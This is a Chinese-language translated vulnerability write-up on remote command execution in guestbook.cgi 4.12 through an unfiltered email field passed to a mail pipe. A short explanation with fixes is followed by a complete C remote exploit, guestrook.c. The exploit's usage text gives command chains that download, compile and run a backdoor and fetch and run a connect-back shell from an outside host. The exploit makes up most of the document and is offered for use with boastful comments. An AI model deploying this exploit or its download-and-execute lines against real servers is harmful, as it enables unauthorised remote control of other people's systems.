guestbook.cgi漏洞分析
/ns/hk/hacker/data/20010514024522.htm
					guestbook.cgi漏洞分析 
  柳永 译 
来源:www.securiteam.com 
经常看到一些扫描器将guestbook.cgi列为一个漏洞,我的CGI水平实在是有限,不知道怎么利用该漏洞,反正找来这篇文章,读和实践的时候有一些出入,因此对原文做了一些改动,有兴趣的朋友可以从securiteam找英文原文来看.程序中声明受影响的系统是guestbook.cgi version 4.12,我以它的代码做试验的时候没有成功,也没时间再找机器做试验,大伙将就着先看看,哪位成功了别忘了通知我一声:) 
Guestserver(http://www.stud.ntnu.no/~larsell/guestbook/)是一个guestbook系统,有远程执行任意命令的BUG.导致这个BUG的原因是从HTTP提交一个恶意的email变量. 
详细资料 
先来看看guestserver如何屏蔽email变量的. 
提交的email变量首先被过滤冒号,逗号,分号,如下所示: 
line 282: 
$FORM{‘email‘} =~ s/\<[^\>]*\>//ig; 
$FORM{‘email‘} =~ s/\<//g; 
$FORM{‘email‘} =~ s/\>//g; 
$FORM{‘email‘} =~ s/\"/_/g; 
if ($FORM{‘email‘} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) { 
$FORM{‘email‘} = undef; 
} 
line 360: 
&mail_guest if ($mailto_guest && $mailprogram && ($FORM{‘email‘} !~ /[\,\:\;]/)); 
After that, the email must be in "normal" form. 
line 957: 
if ($FORM{‘email‘} =~ /.*?\@.*?\..*?/) { 
open (MAIL, "|$mailprogram $FORM{‘email‘}"); 
但这个过滤是不够的:管道符没有被过滤.我们可以提交一个带命令的email变量,以管道符作为命令和emial变量的分割线.如果它看起来象是一个普通的email地址,CGI会执行这个email所附带的命令.举例说明:使用一个email变量,注意引号内的内容:"|bleh|bob@example.com"以管道符作为分界线的内容提交给远程服务器,就会执行这条命令:"/bin/sh -c |bleh|bob@example.com",检查error_log,你会发现下面的内容: 
sh: bleh: command not found 
sh: bob@example.com: command not found 
读到这里,大家应该明白攻击者可能利用这个漏洞在服务器上创建一个后门,用以进入执行这个CGI script的服务器. 
局限性: 
首先,guestserver.cgi必须配置允许向guest发送邮件,才能通过向guestbook张贴带命令的邮件地址的方法来 
利用这个漏洞。 
服务器上的guestbook配置文件里必须有这一句: 
<-guestbook.mailto_guest-> # Yes = 1, No = 0 
另外,在提交的emial变量里不能带有冒号,否则email变量将会被打乱,所以不能使用诸如(i.e.: "xterm -ut 
-display 127.0.0.1:0.0")之类的命令. 
解决方案: 
1)快速方式(但不太好) 
在guestbook配置文件里选择不接受发送邮件给guest,即设置<-guestbook.mailto_guest->指示为0. 
2)更好的方法: 
修改程序,完全过滤控制字符. 
以下是攻击代码: 
(里面的注释跟前面的介绍很接近,就不翻译了,和和) 
/* 
* guestrook.c - fish stiqz <fish@analog.org> 11/18/2001. 
* 
* - rook:v: deprive of by deceit; "He swindled me out of my inheritance" 
* 
* Remote exploit for guestbook.cgi version 4.12 (below?). 
* guestbook.cgi can be found at http://www.guestserver.com/ 
* 
* exploits a traditional open call in a perl cgi script, 
* open (MAIL, "|$mailprogram $FORM{‘email‘}"); 
* the address is filtered for semi-colons, colons, commas, and less-than 
* and greater than signs, and must be in *@*.* form. 
* 
* The cgi must be configured to send mail to the guest. 
* the line in guestbook.config must be: 
* <-guestbook.mailto_guest-> # Yes = 1, No = 0 
* 1 
* This config looks to be pretty common. 
* 
* Because the host environment must already have a perl interpreter 
* installed, using a perl backdoor would probably be the most portable 
* way to exploit this. The example in the usage message presents another 
* way to accomplish it, with the well known socdmini.c. The sleep 
* call is necessary to ensure that the program has finished 
* downloading before the vulnerable system attempts to compile it. 
* It may also be necessary to execute each command individually. 
* I‘m sure there are a million other ways to exploit this, since you 
* can specifiy a string of commands to execute. Use your imaginiation. 
* 
* Thats pretty much it. Have fun. 
* 
* shoutouts: nerile <-- 1337 
* trey, kiam, sudo, kilmor, vertigo7, quanta, 
* #code <-- rules (not ef/dal), 
* analog.org, async.org 
* 
* #TelcoNinjas == #smurfkiddies. 
*/ 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <errno.h> 
#include <time.h> 
#include <ctype.h> 
#define HTTP_PORT 80 
extern int errno; 
/* 
* function prototypes. 
*/ 
int get_ip(struct in_addr *, char *); 
int tcp_connect(char *, unsigned int); 
void *Malloc(size_t); 
void *Realloc(void *, size_t); 
char *Strdup(char *); 
void send_packet(int, char *, char *); 
char *convert_command(char *); 
void clear_screen(FILE *); 
void usage(char *); 
char *random_string(void); 
/* 
* Error cheq‘n wrapper for malloc. 
*/ 
void *Malloc(size_t n) 
{ 
void *tmp; 
if((tmp = malloc(n)) == NULL) 
{ 
fprintf(stderr, "malloc(%u) failed! exiting...\n", n); 
exit(EXIT_FAILURE); 
} 
return tmp; 
} 
/* 
* Error cheq‘n realloc. 
*/ 
void *Realloc(void *ptr, size_t n) 
{ 
void *tmp; 
if((tmp = realloc(ptr, n)) == NULL) 
{ 
fprintf(stderr, "realloc(%u) failed! exiting...\n", n); 
exit(EXIT_FAILURE); 
} 
return tmp; 
} 
/* 
* Error cheq‘n strdup. 
*/ 
char *Strdup(char *str) 
{ 
char *s; 
if((s = strdup(str)) == NULL) 
{ 
fprintf(stderr, "strdup failed! exiting...\n"); 
exit(EXIT_FAILURE); 
} 
return s; 
} 
/* 
* translates a host from its string representation (either in numbers 
* and dots notation or hostname format) into its binary ip address 
* and stores it in the in_addr struct passed in. 
* 
* return values: 0 on success, != 0 on failure. 
*/ 
int get_ip(struct in_addr *iaddr, char *host) 
{ 
struct hostent *hp; 
#ifdef DEBUG 
printf("entered get_ip with %s\n", host); 
#endif 
/* first check to see if its in num-dot format */ 
if(inet_aton(host, iaddr) != 0) 
return 0; 
#ifdef DEBUG 
printf("inet_aton failed\n"); 
printf("trying gethostbyname...\n"); 
#endif 
/* next, do a gethostbyname */ 
if((hp = gethostbyname(host)) != NULL) 
{ 
if(hp->h_addr_list != NULL) 
{ 
memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr)); 
return 0; 
} 
return -1; 
} 
return -1; 
} 
/* 
* initiates a tcp connection to the specified host (either in 
* ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com) 
* to the host‘s tcp port. 
* 
* return values: != -1 on success, -1 on failure. 
*/ 
int tcp_connect(char *host, unsigned int port) 
{ 
int sock; 
struct sockaddr_in saddress; 
struct in_addr *iaddr; 
iaddr = Malloc(sizeof(struct in_addr)); 
/* write the hostname information into the in_addr structure */ 
if(get_ip(iaddr, host) != 0) 
return -1; 
#ifdef DEBUG 
printf("attempting connect to %s\n", inet_ntoa(*iaddr)); 
#endif 
saddress.sin_addr.s_addr = iaddr->s_addr; 
saddress.sin_family = AF_INET; 
saddress.sin_port = htons(port); 
/* create the socket */ 
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
return -1; 
/* make the connection */ 
if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0) 
{ 
close(sock); 
return -1; 
} 
/* everything succeeded, return the connected socket */ 
return sock; 
} 
/* 
* generates a string of 6 random characters. 
* - guestbook.cgi wont accept the same message twice (or so it seems), 
* so we need to randomize it a bit. 
*/ 
char *random_string(void) 
{ 
int i; 
char *s = Malloc(7); 
srand(time(NULL)); 
for(i = 0; i < 6; i++) 
s[i] = (rand() % (122 - 97)) + 97; 
s[i] = 0x0; 
return s; 
} 
/* 
* send the request to the server. 
* the remote_command needs to be coverted before sent here. 
* semi-colon‘s are filtered out and will not work! 
*/ 
void send_packet(int sock, char *conv_remote_command, char *target) 
{ 
char *packet_buf; 
char *payload_buf; 
char *r_string; 
char header_fmt[] = 
"POST /cgi-bin/guestbook.cgi HTTP/1.0\n" 
"Connection: close\n" 
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" 
"Host: %s\n" 
"Content-type: application/x-www-form-urlencoded\n" 
"Content-length: %d\n\n%s"; 
char payload_fmt[] = 
"name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com" 
"&location=Germany&message=telconinjas+suck"; 
r_string = random_string(); 
/* create space for the payload and commands */ 
payload_buf = Malloc((sizeof(payload_fmt) + 1 + 
strlen(conv_remote_command)) * 
sizeof(char)); 
sprintf(payload_buf, payload_fmt, r_string, conv_remote_command); 
free(r_string); 
/* create space for the headers, payload, and commands */ 
packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) + 
strlen(conv_remote_command)) * sizeof(char)); 
sprintf(packet_buf, header_fmt, 
target, strlen(payload_buf), payload_buf); 
#ifdef DEBUG 
printf("\nSending data:\n%s\n", packet_buf); 
#endif 
if(write(sock, packet_buf, strlen(packet_buf)) == -1) 
{ 
perror("write"); 
exit(EXIT_FAILURE); 
} 
close(sock); 
return; 
} 
/* 
* converts a command from "command1 arg1 arg2 | command2 arg1 arg2" 
* to "command1+arg1+arg2+%7C+command2+arg1+arg2" 
*/ 
char *convert_command(char *input) 
{ 
int i; 
char *postfix; 
char *command = Strdup(input); 
char meta; 
for(i = 0; command[i] != 0x0; i++) 
{ 
if(!isalnum(command[i]) && command[i] != ‘.‘ && command[i] != ‘-‘) 
{ 
if(command[i] == ‘ ‘) 
command[i] = ‘+‘; 
else 
{ 
meta = command[i]; 
postfix = Strdup(&(command[i]) + 1); 
command = Realloc(command, (strlen(command) + 3) * 
sizeof(char)); 
command[i] = 0x0; 
sprintf(&command[i], "%%%.2X", meta); 
strcat(command, postfix); 
free(postfix); 
} 
} 
} 
return command; 
} 
/* 
* clears the screen. lame. 
*/ 
void clear_screen(FILE *fp) 
{ 
fprintf(fp, "%c[H%c[2J", 0x1b, 0x1b); 
return; 
} 
/* 
* prints usage and then exits. 
*/ 
void usage(char *p) 
{ 
clear_screen(stderr); 
fprintf(stderr, 
"\nguestbook.cgi exploit by fish stiqz <fish@analog.org>\n" 
"discovered and exploited on 01/18/2001\n\n" 
"usage: %s <target> \"command1 args | command2 args\"\n\n" 
"* commands MUST be separated by |‘s\n" 
"* commands CANNOT contain any of these chars: ;:,<>\n" 
"* Example: %s target.com \"wget host.com/socdmini.c -P /tmp|\\\n" 
" |sleep 5|gcc -o /tmp/hax /tmp/socdmini.c|/tmp/hax\"\n" 
"* you may want to separate the commands into one per request..\n" 
"* Example: %s target.com \"wget host.com/connect-back.pl" 
" -P /tmp\"\n" 
" %s target.com \"perl /tmp/connect-back.pl\"\n" 
"* you get the idea, use your imagination.\n\n", 
p, p, p, p); 
exit(EXIT_FAILURE); 
} 
int main(int argc, char **argv) 
{ 
char *target; 
char *commands; 
char *conv_commands; 
int sock; 
if(argc != 3) 
usage(argv[0]); 
target = Strdup(argv[1]); 
commands = Strdup(argv[2]); 
conv_commands = convert_command(commands); 
free(commands); 
#ifdef DEBUG 
printf("\nconv_commands:\n%s\n", conv_commands); 
#endif 
printf("Connecting to %s...\n", target); 
if((sock = tcp_connect(target, HTTP_PORT)) == -1) 
{ 
perror("tcp_connect"); 
return EXIT_FAILURE; 
} 
printf("Connected, sending payload...\n"); 
send_packet(sock, conv_commands, target); 
printf("Payload sent. Go store lots of warez!#*!%%@!#\n" 
"#TelcoNinjas == #smurfkiddies\n"); 
free(conv_commands); 
free(target); 
return EXIT_SUCCESS; 
} 
 
转自vertarmy.org